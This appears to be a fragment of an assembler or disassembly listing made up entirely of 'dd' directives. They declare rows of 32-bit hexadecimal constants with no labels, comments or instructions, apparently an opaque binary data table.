dd 0CAC564B3h, 82CCAB5Ah, 142970B2h, 4EEA37EBh, 45587D99h
dd 6C188991h, 4B05EEEDh, 0BE39C689h, 34E96772h, 1B6CA9B5h
dd 27AE437Fh, 76B9D6ABh, 0EC42ED7Dh, 0AA9FD8Ch, 8246052Fh
dd 48A50B97h, 460D6AA6h, 0C38A5467h, 0DD2711C3h, 2A512BDFh
dd 0FEC8A17h, 59071855h, 5232FBA2h, 0D8259A95h, 3AC6B54Eh
dd 0B4606A98h, 0BF2A8062h, 8331533Fh, 0B317E82Eh, 28D758C9h
dd 0E038C55h, 823AB315h, 5E3C214Ch, 1778DAB3h, 897CE398h
dd 0D135E13Eh, 105F0C7Fh, 0DA9B3DE3h, 2F250EC9h, 0C1DD50A5h
dd 0EFFAD350h, 34BFFCE4h, 83667518h, 0C53AB512h, 0FC21F8E0h
dd 0B57B1EE0h, 35EA4612h, 0CB35E197h, 0DFAD20E7h, 116196C8h
dd 8F76E970h, 1F738DBFh, 71878EBFh, 0F8FE3D01h, 6D2DB726h
dd 9B01C581h, 1786FD26h, 605E1BB4h, 0F7C8D815h, 0BE55A482h
dd 9069B120h, 46C18671h, 1BBE3CDBh, 1F4DBF75h, 2D3EC124h
dd 8A134B57h, 0E8086DD8h, 0D85629B7h, 0B4A0D9BDh, 4940E588h
dd 0F1658C91h, 0D907A26Ch, 85811E90h, 0DDA78949h, 0ECADDD24h
dd 0FE6FC0A9h, 0AA403B33h, 6624D1Dh, 23174386h, 0F24D9C7h
dd 53B4B97Fh, 0C5DDCBA6h, 0EDD8C63Ah, 0E7481C7Fh, 5541270Ch
dd 8F0A67D0h, 2E70EEC0h, 0EC2852A8h, 640FB8Bh, 357D3AEh
dd 0C4A93CB5h, 0E0616AF8h, 2F7478E5h, 13459383h, 0BF6FC974h
dd 1110CB8Eh, 0BA059ABFh, 0CF2EA838h, 88E68881h, 0B1CB9EC0h
dd 912939CBh, 0D88E09EFh, 0D6816EC2h, 7D45EFFAh, 0A8D00050h
dd 43F73937h, 0FDA161A3h, 7FA0A1FEh, 7D148CBEh, 3C580890h
dd 0D59814B8h, 57F1B12Fh, 0FA895D04h, 4E9436ADh, 0AC183AE3h
dd 79FF0516h, 8E9654DEh, 0E9300C3h, 4800D5E4h, 0F2C70369h
dd 3B83BE39h, 8045CB07h, 1E1002E5h, 73BE347h, 453F97CDh
dd 4B1DD183h, 4639A3B1h, 7A1847h, 70C4E26Ah, 86E828B2h
dd 21DFB818h, 73B62D50h, 597A4386h, 7C282C29h, 1DBF3F77h
dd 0B58ACC0Fh, 717B8090h, 320D13FCh, 0D847FE2Eh, 8E2E12A6h
dd 815B321Dh, 698C18F7h, 0E757EC5h, 3550092Ah, 0E9B9D1F7h
dd 1BD230C5h, 7A57C0FFh, 0DAA37EBBh, 9710414Ch, 0D4F5FF7h
dd 0FE0875CCh, 66540D4h, 31B12398h, 4A2261D7h, 7EA5C19Bh
dd 29D194E0h, 378A5852h, 7BD3019Ch, 0B4C53F7Dh, 0EDA634F5h
dd 98B9D8Fh, 4FFD4EEFh, 173B1E98h, 7700F113h, 0B170CE1Ch
dd 2F450E82h, 5218DD78h, 657BB9A4h, 0BBC4930Ch, 0DC5B6EBDh
dd 62E1573Dh, 899E7AFEh, 7843A242h, 575604CCh, 0FEEAF7F7h
dd 679DC568h, 0F0A4619Eh, 0EE87755Ah, 0D9332077h, 6CFF39AFh
dd 0A9C4BFA7h, 1A46DBAh, 0E71E51DEh, 2814FC1Eh, 0BFE33C6h
dd 45E3C916h, 0ED5CFF90h, 1B54EEE8h, 11FC80EFh, 159853E3h
dd 20C1CE33h, 18C6CDD0h, 6A6B7C06h, 3EA3CDC4h, 7D567538h
dd 711AA7EAh, 613A29C9h, 4573504Fh, 68D59878h, 0BA42233Fh
dd 0D19C9AFFh, 7CD6EC32h, 0A1F11B19h, 0FC1B5076h, 0D34C680Ah
dd 84C1037Dh, 9BC18DA8h, 0C1BFFF05h, 715CE2CCh, 0FDDD2386h
dd 27895A63h, 0E46C14F4h, 0E896A5BDh, 0DAC338F3h, 67A8FC26h
dd 0FFCADFE7h, 0EE70EEA6h, 0DF7D8D7Fh, 7E59267Bh, 0DE91E914h
dd 0A2365518h, 5534E5AAh, 72E3FDFBh, 0A3551186h, 0FE68AA0Ch
dd 0DFFD59EBh, 0A93A1507h, 8FBCFE9Bh, 3A3A07F3h, 8FDA9FBFh
dd 0C22306D4h, 63DE807h, 81059AC4h, 0D3D5E17Fh, 0DBFCC67Bh
dd 3004B1D4h, 7EFECC7Ch, 0AF74ED05h, 8B4A9AF4h, 15BC3035h
dd 0F59A795h, 0F64854F9h, 8E2C451Eh, 6E5F60BCh, 26F57EF5h
dd 8A73B598h, 48CD9EEAh, 0E91DD331h, 86CF3538h, 2CE3286Ah
dd 6018B41Eh, 0BC8A179h, 0D507D46Fh, 98FF74E2h, 0D31CADDh
dd 6878EA87h, 0B71D7A03h, 63289911h, 0AE341764h, 39859DF0h
dd 0A731FBDh, 71D08298h, 9DA69FFFh, 0D3A506B6h, 81C56FE7h
dd 60A52CD1h, 11751EEFh, 0B5D9BEEh, 0D70FB7F1h, 0B6B271BAh
dd 0B49D0E90h, 0E9ECFC45h, 7E663989h, 35FFDAC7h, 0FA536208h
dd 3CF67B99h, 165B8F09h, 5FAF479Ch, 0A74604B6h, 54F35B91h
dd 0AB762CB8h, 5F9444F7h, 0AB2345E5h, 33A54C2Ch, 99F871CAh
dd 46E98582h, 0DC6901DAh, 334FF62Ah, 45261BFCh, 7E1B74EAh
dd 783521A9h, 78D4532h, 0C932B547h, 52460E6Bh, 0DBF154Ah
dd 8993A8FCh, 92583695h, 12477AC8h, 0C36BBB71h, 91BC0A28h
dd 0C2BAC2D6h, 0A1874478h, 4A403FB3h, 0D8D415BBh, 0DF3164BEh
dd 0B4FEEBA8h, 88A0F612h
dd 0A31872EEh, 1B086EE2h, 19247677h, 0C0EFD41Bh, 32B5BE20h
dd 11B1F55Bh, 664BBD9Fh, 0C0603517h, 5C565ADDh, 0DA19938Fh
dd 7DBA735Fh, 0B46707D7h, 0A9F3616Fh, 8CD9933Dh, 9916FB58h
dd 0C785B97Dh, 0F6C60F0Bh, 0A1ED0705h, 0C54DE3DFh, 17C174AAh
dd 8DA9B6FFh, 6023283Eh, 30A8F15Ch, 0A16B70C5h, 0A2BA1F40h
dd 0EAEF82DFh, 3D99F609h, 0A7AD0F6h, 1A80C912h, 0BC62C550h
dd 0C3F26E1Ah, 0B30F18CAh, 951B4D3Ah, 6364D5A5h, 0F73ECC85h
dd 0F3588599h, 1B210061h, 3466AD19h, 678D807h, 2DA42F40h
dd 14EF324Dh, 32EBD86Ch, 0B446ED7Bh, 0FF34235Bh, 0CB15EEBh
dd 0DD611DC3h, 611B131Bh, 0BF3F053Ah, 0C231B1F0h, 118DDB05h
dd 0F5574076h, 4DC8847Ch, 0DFC20F4h, 4FB68C20h, 267D3A51h
dd 2D0F6EAFh, 26F285C4h, 0EF4996A0h, 5BF2771Ah, 66DDF665h
dd 2EA6B20Ah, 0C1E7A9DEh, 0C03E47D4h, 4174BB33h, 0D214DC7Bh
dd 88FE4BEDh, 31E9FD0Dh, 9E0459Ah, 0CDF5FDB2h, 18951167h
dd 8FC7EA23h, 0BF75134Eh, 0D00BD441h, 0CF4EEEA3h, 5CAF4AA9h
dd 7AC77117h, 0C78D9BEAh, 0ACDCB1CCh, 23457077h, 877FEF02h
dd 444DC3Eh, 3020CFBAh, 865020D5h, 26F6BCEEh, 2020ED77h
dd 7B936A6Dh, 433C2171h, 407715FBh, 0B934D771h, 0C36C5E97h
dd 0B94F0C17h, 0FCB1F192h, 0CF1F0909h, 3E15FFEEh, 24F8E56h
dd 1F8C59C5h, 4C9E0993h, 99EF6BB0h, 0EEB32C78h, 5EC02E7Bh
dd 0EA4344DBh, 2C2D7D05h, 0E28DD84h, 95941973h, 0A38CD78h
dd 336A9215h, 0B8C3B05Bh, 8D896E49h, 9BCDB194h, 469A6031h
dd 0D6735152h, 8F683931h, 9D9B4E3Fh, 7C9C4914h, 1797F76Bh
dd 0F4FEEF1Eh, 0FEE2CEB2h, 7E77420h, 0AE0BDB8h, 5B055EE2h
dd 52097C50h, 0F9CB8BD0h, 28315799h, 237DFD90h, 5F8BBD90h
dd 0E66E8BACh, 30BBECC1h, 0B52E2113h, 4938CB14h, 744CDCBEh
dd 0A345DC0Eh, 0D647EAE9h, 0C168B468h, 299B3BCCh, 7EC1DBB2h
dd 8E0869D8h, 838B187Dh, 17077FBFh, 67C4DB1Bh, 1E26EB5Dh
dd 2E7BDF5Dh, 0FAB1FD51h, 846CDDBFh, 5618C33Ah, 0E95B8750h
dd 32FBC4FEh, 0B76386B3h, 4A66F14Dh, 0AA905AA2h, 0DF0FB7BAh
dd 5BBC018Fh, 0F0C242D9h, 0E7A6AB3Eh, 1367362Ah, 787FA00Fh
dd 50C7BF13h, 0E00789BEh, 1E26E97h, 74F4C5F9h, 309BC9B0h
dd 297236F0h, 60358CC2h, 0C3301A46h, 0E1AB980Dh, 5C1DBB09h
dd 0FC05D250h, 826A845Eh, 659560EDh, 5F21B878h, 54814131h
dd 17FD4A27h, 26BC4A22h, 0E5D98770h, 3354305Bh, 0CDE603D5h
dd 67F946A3h, 0BDC79C23h, 556FE2A2h, 3F1507FCh, 4EEDFC53h
dd 0DE369A7Dh, 5DBA30Ch, 3FDA642Dh, 619D00C1h, 0AEDC5275h
dd 0B5C527EBh, 51821A5Ah, 0FC11E547h, 0C567F2D0h, 0DE3B9A38h
dd 0ADFC8A03h, 3E6349EAh, 33BDEEFFh, 0ED944EA6h, 0B17C66DCh
dd 4366ADE0h, 0AEB940A1h, 3039CCD9h, 361D7DE3h, 0B7FBB7D6h
dd 0D45200A2h, 489D60ADh, 15F806h, 0A0B8C3B7h, 0B13B7EB6h
dd 0D44C2DADh, 0D7B4BEBAh, 9A2FC7CCh, 8071E760h, 0B565F5CBh
dd 0A333CB5Bh, 0F5DCCFBFh, 0F8FEFA7Ch, 0DC3459EEh, 0BAE1A316h
dd 0C5786833h, 0F42B4290h, 0CADE1B01h, 381A0CF7h, 1448501h
dd 49015C7Eh, 6E5DEE78h, 0E5AFA139h, 9135131Fh, 0FE02FFECh
dd 0A3BC0C70h, 2EF7DD84h, 1FBDEBE9h, 0DEB36C73h, 0BEF3F2E3h
dd 6222F747h, 0EEE0559Fh, 0BBEC7140h, 0F1F8C0E8h, 0EC93461h
dd 8F26D030h, 59EFD1DFh, 2837452Ch, 63F578F2h, 0C39B2FB1h
dd 9FCC2C93h, 4BCB411Fh, 44DF305Fh, 4A12ACB0h, 0D34E3714h
dd 0A17DDD15h, 91467570h, 1A6BAC56h, 0E7E02B82h, 2B85096Dh
dd 4CD2EA13h, 0CF8F17B5h, 0B2DBAC7Fh, 0F9B02F43h, 6306987Fh
dd 7E11EB51h, 0AD3CEF8Fh, 0BE0E8066h, 9D42755Ah, 9F1F6B54h
dd 1DDFD13Fh, 332842B8h, 1EC36148h, 42FE9F31h, 3B7F383Ah
dd 2D27C8B2h, 9F11DFE5h, 5D478F5Fh, 0E23C02EAh, 0D305BF9Ah
dd 1D4AFCCAh, 0F22C1083h, 0E96C851Dh, 0C7E4B4C3h, 14FC7F9Ch
dd 0BC5CBF19h, 0C1FE5F19h, 3CEEEF8Ah, 572A27C3h, 4294BF9Fh
dd 28E558D0h, 0A0D99093h, 63FB430Eh, 34610DFh, 97560BBBh
dd 0D0332B8Ah, 37A5ED2Ch, 0EEA05877h, 915A1984h, 46CA50Ah
dd 0A89A4BDh, 947E42DAh, 0C8851F8Ch, 0EB3D055h, 268B42EDh
dd 560D37F6h, 1DB3ED45h, 67E795B0h, 3C38BECCh, 572A4D2Eh
dd 9E57F217h, 6057A8EEh, 0BC265D27h, 0E401EAD3h, 0EF3715FFh
dd 0E2EF665Ch, 17774CA5h, 460BF35Eh, 6547D0EDh, 0CF9C7C00h
dd 0E3ED9C87h, 0B051B120h, 0A57030ACh, 3632C293h, 3B440CFCh
dd 201FB887h, 1339EF62h, 41C542BCh, 868C8E28h, 0E36A4136h
dd 2BDC0EBFh, 8AE5F35Ah, 3645BC03h, 8B53B0B5h, 0BBB5D3F4h
dd 7E0261B0h, 680627C2h, 6CF44EBh, 0BE795BF2h, 731128F7h
dd 3078EF35h, 8E3D22B0h, 0DC0035B7h, 9C855A9Ch, 0ECA8DC1Fh
dd 165F08AAh, 0C9DE0763h, 2CEEA5DFh, 42D62B92h, 28E37B19h
dd 91419AC6h, 0EF4A6EA7h, 37A87EEh, 1F0298DFh, 723AD566h
dd 50FF827h, 33C64160h, 0BC558AB4h, 0BEC020DFh, 7B309E83h
dd 0DC402FDh, 644F8344h, 0B600A638h, 0DDD839Ch, 7BFAFA60h
dd 8818F0E2h, 9D309FFBh, 85D2CDF8h, 0DB5932F8h, 0B5DBF8Ch
dd 0F6B30DF1h, 0C7F6FE3Ch, 185F1083h, 0AF163A0Ch, 37D99526h
dd 9BE1E4D4h, 0C586FB0Eh, 0DF59F193h, 0D4B528EAh, 0F233E34Fh
dd 89BA331Ah, 4897839Fh, 0E994866Fh, 0D5E7E05Dh, 0D75BC3ACh
dd 0DA867A2Ah, 0F6A57028h, 0ED7104C1h, 5F6E9D9Ch, 69FABD7Fh
dd 0FD7B3BF0h, 1FDD620Fh, 5A88D065h, 7C32DD47h, 0C700C2E6h
dd 0E00E44h, 1B7B5809h, 0C5CBF7DFh, 66B7EDACh, 78F159BEh
dd 0F0FB436Ah, 38B74293h, 136D1EC3h, 9DC721DEh, 0E5AA6BCAh
dd 6E6F8715h, 0A16A3B93h, 4ED014E0h, 0ED0568Bh, 7C782FBEh
dd 79DD74EBh, 48DE873Ch, 3F544F55h, 0F4667962h, 0BE2CC518h
dd 0EEB07E7Ah, 9DB1A70Ch, 0D74ADA4Dh, 0EBF66476h, 0B5FCC306h
dd 8DD5ECCBh, 0D7FFB6FCh, 51FCD1EBh, 0BDEB954Fh, 921D6D56h
dd 0FBB91652h, 97D115h, 243431B8h, 142BC0B2h, 603283EBh
dd 5C7BE5CEh, 0C223408Dh, 8AF74ACCh, 0D5259B90h, 8C876A39h
dd 8D888FCFh, 27E359F1h, 22847FF8h, 0B5FC636Bh, 60AD23E3h
dd 591A342Dh, 0E1B56ECCh, 0B3BC1CBDh, 43E4114Ah, 22CDD1D7h
dd 0A0814A5Ah, 371A36F7h, 37180E5Ah, 0E7AFC65Ah, 35ED2057h
dd 4EE3045Bh, 0B83B3A56h, 0EDF32F96h, 0EB3DCE38h, 4F596B8Dh
dd 0F756C535h, 0D974F5ACh, 12616D45h, 7127BCA4h, 2BE895FCh
dd 0F77CF703h, 6C83E222h, 47E25AE5h, 18D8F10Ch, 2DDD83E2h
dd 0C2FB8417h, 0A3FB80B5h, 0CBF5C675h, 1D2782EBh, 705D5255h
dd 92328814h, 6BC175Ah, 0C4678B45h, 0A36B5EF1h, 0BCB2DAF5h
dd 928CA395h, 23F0CBB6h, 0F600FD02h, 3790F9D0h, 75E2DA80h
dd 0F71F824Eh, 8DA6B1B8h, 6EF3EBD6h, 0F7496E3Fh, 0CCE85D9Dh
dd 0BA6D5DBBh, 30F60C1Dh, 0C6D376EDh, 0A51F82Ch, 0B56EEAA2h
dd 0DCCDBEAFh, 0C3F537F9h, 0CB16D7E0h, 2D7CED1h, 5DC39F97h
dd 0C8F9EA1Ch, 0DF9D2A53h, 2E5CD380h, 0C01FF362h, 0A5C8BD28h
dd 3144299Bh, 0E0C5A588h, 802940D3h, 0C453A2E0h, 7D881F4Ah
dd 835B6C79h, 9B751F36h, 897480CFh, 0FE017DBEh, 8639FE03h
dd 7B0F7D6h, 506D59BFh, 0EB74F1B3h, 0C2ED3C03h, 1BB5A805h
dd 7554F889h, 42BB8DBh, 4BDC5410h, 5FD581C5h, 0A84D16C1h
dd 77F95AD3h, 0A7F2052h
dd 0C69E1EC3h, 47E1403Ch, 7EF9B63Ch, 0AAC9E813h, 0E4F40B8Ch
dd 0F4098F54h, 189BE23Ch, 0E7DDB9E8h, 0E83CF40Eh, 267A0573h
dd 0F40C6EF9h, 3EBBE03Ch, 77C133D0h, 0B667A04Dh, 4F40D2EFh
dd 0A0586F91h, 0C4CADEE7h, 0E61FCF40h, 0D2DA05C5h, 531A9023h
dd 73D02439h, 6AF3BCD7h, 4680C8A5h, 35223B21h, 2C47D70Ah
dd 6E56428Dh, 0D8D344DDh, 83980AC8h, 0BE134F75h, 936F1C3Dh
dd 892F17BBh, 7DD586FBh, 8F19E818h, 4EAAEFE8h, 0E537CBACh
dd 1FF36CD6h, 3543C48Ah, 0A0C59806h, 0B7F0E7B5h, 0CE047CEFh
dd 3AE0C7F2h, 25B56623h, 0E71BD558h, 1AE02EBFh, 88AABFEEh
dd 0CDC01589h, 6733D5A8h, 6DA9DA98h, 2EACE642h, 0B06C1D5Fh
dd 77F5606h, 0CAE02169h, 8D6E5BF2h, 0ED330344h, 0C4BB502h
dd 0B8FE9CB8h, 76DD1B5Bh, 0A036BE13h, 0C8C005B3h, 0E6C6323Fh
dd 0FEDFCFDEh, 0BB936400h, 274144CBh, 0D117C4FFh, 89FDEBAEh
dd 0E1C68250h, 8BB5A456h, 71B2B8A2h, 6EC17A96h, 0D3FD49Dh
dd 3D997556h, 0F4CBB01Eh, 53FB1521h, 0FAB624EEh, 0D357304Dh
dd 78CF677Bh, 2EB4F50Fh, 737DBC7Eh, 3FD22E58h, 899593A5h
dd 0AA810D99h, 0B67C124h, 0D0124CCCh, 9904B3CBh, 0C608F8C3h
dd 8945869Bh, 0E2728B23h, 7CA2C303h, 45B4F9B1h, 2DCB5929h
dd 16F13CAh, 59DEAA8Eh, 8B7E022Fh, 0CA3F0EB6h, 0E183AC04h
dd 4DE0E7F8h, 7F4B28B6h, 0B118F693h, 6D65B7F9h, 745553ECh
dd 4D892EB7h, 5F270B7Eh, 0B5FC4C12h, 60EF89B1h, 4C673591h
dd 32DFCFFCh, 21A5FFF0h, 0A26FF136h, 3F803797h, 0D243258Fh
dd 2E748BDBh, 522FC700h, 0F516BFC7h, 0B0B39ADAh, 0EB133A4Eh
dd 0E5B580D3h, 37D58E4Dh, 0D8F8C0D6h, 8FEF1899h, 1FAABC61h
dd 0ECDF3FE3h, 9BECF8C7h, 0C40E8C31h, 7C404B8h, 0CC7576A3h
dd 0D3CBA849h, 0B882D727h, 512E47Fh, 6516CC90h, 0D0BCC4BAh
dd 1D4B7222h, 95AD2C57h, 66A6C97Fh, 0C33E8984h, 99CA8D26h
dd 15935E27h, 0A6351C49h, 7951FCF2h, 0DCD7ECF3h, 74914EA4h
dd 335B54B7h, 1BA97B08h, 0EB031A63h, 74EA27F1h, 0DA0B4789h
dd 15FBC09Fh, 8BECAA60h, 0BE56D18Fh, 0D6E51615h, 764071EFh
dd 4C1717C1h, 82588F4Eh, 857F97h, 2C51842Fh, 0FE310BB5h
dd 29350FCBh, 13D40491h, 2C9825BFh, 0B4609706h, 68CC6E98h
dd 4DB922E8h, 98378FD7h, 1FDFDA0Ch, 3F0D0F46h, 0AD4BE642h
dd 0D7DA85E3h, 0D10DAB90h, 0F842C987h, 4D5C5237h, 8E751DB3h
dd 6E6237F0h, 873AC0EDh, 0BF561034h, 0D356ED76h, 0A39CFC0Ah
dd 3D88D0B2h, 0C8CBA56Ah, 58818FCh, 0BC671867h, 218A26ACh
dd 70D96CA7h, 8CD81093h, 0E31E0A14h, 0E1DD46F0h, 89F678Bh
dd 31E39174h, 0DA825D09h, 0E6CE1885h, 359F83A3h, 53F77A26h
dd 8D56FB1Ah, 0E7B8AF57h, 5B9AFE7h, 76FC6DDBh, 0C1F5BE1Bh
dd 0B9E00937h, 0BD8A303Ah, 0C8F57A0h, 0AEE12FF8h, 8C17FFDh
dd 847AA64Dh, 0E73E4E0Dh, 88E62A98h, 82B592Fh, 0D902CFA7h
dd 0E182B5BCh, 6220C797h, 0DDA983C7h, 4B86172Dh, 9CC5B773h
dd 0EEA4FC60h, 0E8F3298Bh, 561432F4h, 4F75F08Fh, 2283601Dh
dd 9C6412D7h, 2706B43Dh, 0F904B684h, 0E2B32856h, 670718DFh
dd 0F97E10F6h, 201522A1h, 0EA778B81h, 0AE309B5Ch, 154E3B89h
dd 0CA7001A9h, 7F801CD8h, 0E5D19B1h, 0E2F6527Eh, 0B2B4801h
dd 45EFCC31h, 51261E69h, 862FE5FEh, 4138C411h, 643B677Bh
dd 0BF0A7E36h, 0DE3CCD5Ch, 0AE5ACAAFh, 232B94E6h, 0C663F191h
dd 6AEB1D8Ch, 0E2F43CAEh, 5E080056h, 310B282Eh, 16C5F096h
dd 0C6BAD7ECh, 7D5786D4h, 4F14CDD4h, 0D9945E33h, 599F70Bh
dd 0BDCB85B5h, 0A6522E44h, 5085B3B7h, 60FFAF84h, 756E39FDh
dd 0A1DA6BD8h, 5C1145EAh, 0DF360555h, 43751D05h, 0DB41D951h
dd 7B0E8295h, 2D3F1D8Dh, 0D510EEEDh, 68FAFB04h, 57A1689h
dd 1DFD4E4Fh, 53CF7F81h, 48F2AEF0h, 68D56BECh, 554C152Ch
dd 703E6EF8h, 417D9872h, 0A41D7A1Dh, 3B556A79h, 0C531E0B8h
dd 0F709612Bh, 0BC6F34C5h, 0DA716CEDh, 922FEFD7h, 7E3A0239h
dd 0FE7B612Fh, 68E7D0Fh, 0EC1CC07Dh, 0B89BC1AAh, 0A3DDD3C2h
dd 9631E0EEh, 13F6CE2Ch, 14857885h, 502DEAA2h, 0E0F19E63h
dd 7838145Fh, 0E2193F2Fh, 8AFF53B5h, 2202AF1Fh, 1547A672h
dd 81EA81F7h, 798D1AE8h, 44B3D74Ah, 0E9AEADD7h, 0C7C3CAD1h
dd 91BEE9ADh, 8E9DBFBAh, 40760665h, 1B66DA2Fh, 0A8F4213Fh
dd 6DA1F9CDh, 0A9B443D5h, 0C74018A6h, 0F18E9861h, 79B7F19Eh
dd 80E0EDFCh, 3437CE45h, 99744E80h, 627B710Fh, 0E2A187B0h
dd 686CD5B8h, 88E7C783h, 150A7C55h, 9D9833E0h, 0AE12861h
dd 8A4FE542h, 62A2467Ch, 0DFBDC078h, 6B10FA8Ch, 0F6E4DF84h
dd 79C64F04h, 1E2FA830h, 0F1D6E3B5h, 0F95F21E3h, 87DEEAA5h
dd 72B981EFh, 12EE9770h, 0AE5B7C18h, 0E9B22285h, 75166223h
dd 85553B7Ah, 1A18B06Eh, 0C9D52750h, 82DADCA6h, 29DADCEEh
dd 0B1ECD43Fh, 0A687E0D7h, 0E7BB3303h, 6BE2DB85h, 0BE2A220Bh
dd 75540C9Ah, 2BD9030Fh, 12B383EEh, 0B43FEBEDh, 98B5B7D4h
dd 76E779F9h, 256E91B6h, 0A960FD55h, 7553983Ah, 0D518F670h
dd 1F77507Dh, 0AFB42C2Ch, 158243A7h, 25E19DAFh, 0BF97676Fh
dd 15FE1683h, 346C2599h, 98034D6h, 0F66D1DFEh, 0BFBDEC2Bh
dd 0D77EB981h, 10D1FDC9h, 4BA537Eh, 0BFB65916h, 96686CCCh
dd 7046D9ACh, 4D6702B5h, 172C5DB3h, 0D2A1D7B2h, 8DDDDEBEh
dd 2D5500E1h, 7F660918h, 4FCB4C3Ah, 0BB4E88B4h, 0C91523B6h
dd 7FCA6378h, 31705400h, 9CF06BFAh, 6FA7C6DAh, 39A1BD17h
dd 3D9A8E70h, 0D41FF09Fh, 0B39AF06Ch, 0ECAAACD5h, 0B23B354Ch
dd 3B50630Ah, 5112BB8h, 35A0C262h, 0D9F66105h, 0A2417893h
dd 3A1C4B23h, 9F8055C6h, 436CA9BBh, 98DCB7Dh, 511FC5F5h
dd 5B3F9EDFh, 0C5C82EDFh, 62035850h, 5AD4401Eh, 5EAB73Ch
dd 0FFF1EADh, 0C1C0CB81h, 0EB473F6Fh, 0EB514AFAh, 71ECDC68h
dd 440AA33h, 0D6908E2Fh, 397992F9h, 0E5432698h, 4A0DF5FAh
dd 0EC9CCDD3h, 0B69CE98h, 0A7C0E351h, 68F5E569h, 1D55838Dh
dd 154F1E71h, 5CA8157Eh, 0E9DEA131h, 0BBA08EEEh, 95158CD5h
dd 21F2819Fh, 0B87CAE3Eh, 2D719A16h, 0B122853Ch, 168B3CD7h
dd 98C0E896h, 0A12AADABh, 0ADBC98A6h, 3235A720h, 26C5E8Bh
dd 0BB8FBC21h, 0A746F759h, 0BDD3AD7Bh, 0EADEE9C6h, 53FCCEA2h
dd 9D3E0948h, 902553FEh, 1962F135h, 75FD8134h, 7B4E99BAh
dd 0E000F1D1h, 0FC1F72D3h, 0F8EE4C5Ah, 7EE51F62h, 0DDF4F7CFh
dd 0A0F8DB1Ah, 0FF17DA2Eh, 8A57DF11h, 39506D38h, 0C359785Dh
dd 9DCF907Dh, 0AF56883h, 0B6CAEC5Ah, 90ED8DEh, 0D9EBDEDFh
dd 5FB078B8h, 79E393F7h, 630E9709h, 0AB25F521h, 32BBAB4h
dd 0E247D2D0h, 0CD04F483h, 3D780248h, 0BAF9211Bh, 2F612F2h
dd 778FCB8Bh, 800A6D3h, 473F8CCBh, 61A168E5h, 2E434257h
dd 17D69966h, 0A7308436h, 978D16C6h, 1CE1A570h, 1A17097Dh
dd 0FCA0F4E3h, 456C70A5h, 0D7143FC1h, 55488DCCh, 10C37D9Ch
dd 5F1BB58Ch, 3F1C0CAEh, 2A2E0C66h, 25F9712Ah, 0EB545A5Ch
dd 90A6B84Bh, 0ECEDFD70h, 0CEADA036h, 0C7687BADh, 6DEDEF82h
dd 0EBB5E6F4h, 2F8C6007h, 0BEDCA523h, 0A61C5F1Eh, 81437FB0h
dd 0A9A01B73h, 4A3B4963h, 33FAD5CBh, 73A9FF80h, 0E06FB60h
dd 0A6EF0EBBh, 7003086Eh, 947E2B7Dh, 5827031Bh, 0A1ECF596h
dd 118DF297h, 78DE9772h
dd 993FAC3Bh, 6F9A518Dh, 85A3AFB5h, 0EBEC7B0Ch, 0AB915B17h
dd 0FD6894EAh, 87D25237h, 8A8C1B9h, 7DF9517Ah, 0D552A30h
dd 0CBDB5D3Eh, 0DE82956Bh, 8FBCB7C8h, 633C4B8Ah, 0FAD997AEh
dd 0F31A7C69h, 99C1736Eh, 4DA8A351h, 0FA25C92h, 1C5AA62h
dd 50F0ED8Fh, 0D6E0D1DDh, 54A73E34h, 5CDAAF77h, 5E7D2BFEh
dd 5CA39B7Dh, 36674259h, 0C8429826h, 0BC7C368h, 15BC8CBEh
dd 89E426A6h, 70DBF7F8h, 0BE6BACh, 69BF74A4h, 15F41B07h
dd 0B3D648DEh, 49CC6071h, 57991824h, 1C676256h, 4AF1FB0Fh
dd 0D0DD1193h, 338D92FFh, 0E81D1C68h, 82EE8721h, 9B2AD55Eh
dd 0B41BC216h, 1F27F425h, 2D1774FFh, 0D78058D3h, 3B6069D1h
dd 11854CA1h, 34D8238h, 265692BDh, 0CDB74CE5h, 86AD54Ah
dd 7660568Ah, 0B17C5DF7h, 25D6093Eh, 0CDD8BA74h, 0E6F1B58Bh
dd 0D66DB71Ch, 1789A320h, 4741840Fh, 82C24A8Dh, 0BEA30441h
dd 0A9AB03A4h, 0F6E44FE2h, 6CA4BA3Eh, 45646BD7h, 2431E331h
dd 5C5DC370h, 0F3601C02h, 2201240Bh, 4738EBC0h, 0F4C5FD08h
dd 1E6FE1CEh, 0C162F58Ch, 0C4C657ADh, 58AE7ED2h, 60A8A10Ch
dd 6A8D80B0h, 0AC578A41h, 0AA5E3167h, 0B7E2EEEh, 6F01C0Dh
dd 6E78EA98h, 0AF50FF56h, 9FC8EB54h, 8AF4EFE0h, 5E03E85Ah
dd 287FAD1Ah, 0A6952B1Ah, 0EFD93BF6h, 64E19EF7h, 0B989E45Fh
dd 7E3173Ah, 791B0062h, 0B4E10EB5h, 4A47AB42h, 0DF9D483Eh
dd 0A1EC316Fh, 90AFF1F7h, 8CD3CFAAh, 0C38C3A6h, 9436732Dh
dd 68904BABh, 0FF9A5BA7h, 0C28F3EB5h, 681BED73h, 0A9CCE36Eh
dd 0DDCAA587h, 0FB9B8ECBh, 0ECED3C39h, 0ABD0F1A9h, 0C4CC62C4h
dd 0EA7BBC58h, 0ED3E4A99h, 0A01BFC79h, 0F58BC95Ch, 0B180FB41h
dd 0EF2531C5h, 0BE83077Dh, 0EBA05DD4h, 0EE06ED97h, 46321DCh
dd 5D232EEBh, 64832331h, 0A54F5FC1h, 7D007C62h, 7E7E6352h
dd 5D42086h, 0A389030Eh, 2BC97ECCh, 2460EBB0h, 944CA30Dh
dd 0FC0033C6h, 6B863CB4h, 92C77C61h, 0C44FE9BBh, 605A530h
dd 74EEF0B9h, 0FE6909FEh, 0BA937321h, 9DD56B19h, 0A5A84EECh
dd 0ACEF9F4Fh, 0CB3D816Bh, 0BE3D90DDh, 65FDC2FFh, 103DFFF3h
dd 0CE0D9C7Eh, 0CB60F785h, 2FBDDC69h, 66C1E6C4h, 8E6624BDh
dd 238E6E25h, 0AD59B566h, 0F01F0292h, 0C5160C52h, 7B66CB13h
dd 6C5375E8h, 0C22D7269h, 9FD0F6DFh, 0F14F67F9h, 0C3A8446Fh
dd 5AB0B190h, 80AA6058h, 674D6B4Ch, 7C9173EBh, 1EC7683Ah
dd 0FB3763C2h, 74E94586h, 3F02F9D2h, 72E67CF0h, 6F66B0D4h
dd 189B7D5Ch, 597B56Ch, 9ABBB6BFh, 73586630h, 369F2BE2h
dd 0DA505458h, 8B35EC13h, 4CF3E1F0h, 0C1355DF0h, 809BFA1Eh
dd 9D2CFB4Ah, 0E512A29Ah, 3FF1B5E2h, 5453E152h, 0CCC216D8h
dd 544167F5h, 2C37DA25h, 3E8C02A6h, 0E70CFC86h, 518AE587h
